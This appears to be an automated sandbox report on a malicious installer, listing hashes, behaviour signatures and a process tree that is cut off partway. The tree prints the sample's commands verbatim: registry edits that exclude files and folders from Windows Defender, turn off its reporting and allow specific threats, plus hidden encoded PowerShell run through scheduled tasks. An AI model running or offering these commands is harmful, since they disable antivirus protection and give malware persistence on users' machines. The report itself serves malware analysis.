Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    127s
  • max time network
    131s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/10/2023, 03:21

General

  • Target

    file.exe

  • Size

    7.1MB

  • MD5

    58657ed42e997c6eee70e649fe8d9892

  • SHA1

    56504557e5aa23c907990ce79c2eb1a20a0f272d

  • SHA256

    652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c

  • SHA512

    fa9c2a5708f18da58e9f87fa4eb612e1ed126623d701a86d1d7fba98c35488dd0f8d4c3e12a57b99104deed89b4d9958cce218de19173a3f8900de9a8c91a114

  • SSDEEP

    196608:91OUgP/TcLGwBVpRKQefMiooyXDHGYdxVeHmJkZ8cr:3O3wKwBjsBojGYdcacr

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:228
    • C:\Users\Admin\AppData\Local\Temp\7zSE6F5.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:776
      • C:\Users\Admin\AppData\Local\Temp\7zSE8AA.tmp\Install.exe
        .\Install.exe /vNdide "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:380
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3484
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1468
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1680
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:2736
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:32
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1792
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:4904
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:1756
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gHkQdJsMa" /SC once /ST 02:33:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4088
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gHkQdJsMa"
                  4⤵
                    PID:2700
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gHkQdJsMa"
                    4⤵
                      PID:2184
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "byVqvYMHXaoMZDRgRv" /SC once /ST 03:22:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\ucpslGn.exe\" SL /eTsite_idMIg 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:4696
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3496
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:1584
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:64
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:4620
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:2696
                      • C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\ucpslGn.exe
                        C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\ucpslGn.exe SL /eTsite_idMIg 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:1672
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:1304
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3484
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:4300
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4380
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:1488
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4088
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:3064
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:500
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:2700
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:4628
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:888
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:3960
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:4700
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:1624
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4364
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:3976
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3052
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:3972
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:2312
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4880
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:992
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:4488
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:3348
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:3512
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:5024
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:4704
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:4188
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:4888
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:556
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:3020
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cnKtfofVELLNC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cnKtfofVELLNC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mBUaPyDkTUtU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mBUaPyDkTUtU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vPdYXglKjKUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vPdYXglKjKUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xaXHhbBRU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xaXHhbBRU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\ihUYOsbkXmStDhVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\ihUYOsbkXmStDhVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nHkJQUniIMPgfrVz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nHkJQUniIMPgfrVz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                  2⤵
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:2224
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:32
                                                                                    3⤵
                                                                                      PID:3896
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:32
                                                                                        4⤵
                                                                                          PID:220
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4404
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4192
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1216
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:648
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:3956
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2424
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3612
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4516
                                                                                                      • C:\Windows\SysWOW64\reg.exe
